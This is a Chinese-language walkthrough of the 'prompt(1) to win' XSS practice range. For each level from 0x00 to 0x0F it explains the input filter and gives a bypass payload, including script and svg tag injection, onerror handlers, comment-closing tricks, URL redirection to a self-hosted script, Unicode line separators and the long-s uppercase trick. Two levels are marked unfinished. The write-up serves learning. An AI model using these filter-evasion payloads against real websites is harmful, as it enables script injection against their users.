靶场地址:prompt(1) to win - 0x0http://prompt.ml/0
0x00
无过滤,闭合双引号及标签即可;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、注掉即可;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,那就不用他俩;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->让我们无法闭合;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制src的值的开头必须为http://prompt.ml/;
可用@来重定向,但url:user:password@baidu.com中password后不能有 / ,用%2f代替;
在服务器根目录下写一个test.js,里面写个prompt(1)即可;
http://prompt.ml%2f@127.0.0.1/test.js
0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,再闭合前后 "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,必须输入形如 formURL#formDataJSON这样的如:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的action会直接覆盖前面的第一个action,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",过滤也就失效了;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #都会致使一个新 title的产生,每个 title后只显示前12个输入的字符;
用 /* */去除多余部分,逃逸长度限制 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,这就没法逃逸单行注释了;
但 javaScript规定有5个字符,不能在字符串中直接出现,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符
这东西没法直接用,得现在控制台让其生成一个特殊的payload,然后我们复制,再配合 --> 主调后面的 " 即可;
'\u2028prompt(1)\u2029-->' //复制到控制台生成特殊payload再复制拿去用
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
所以要用到一个技巧:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
破局点在于 ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1)
0x0B
过滤了一堆东西;
解法没搞懂,哈哈;
"(prompt(1))in"
0x0C
这里先过滤,后替换,所以第10题那样行不通;
用 parseInt() 函数可解析字符串并返回整数,再用toString解码即可绕过;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-优快云博客
eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
和第七题差不多,不过是过滤了/*,构造<!-- -->即可 ;
配合<svg>使注释生效即可;
关于此题中<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>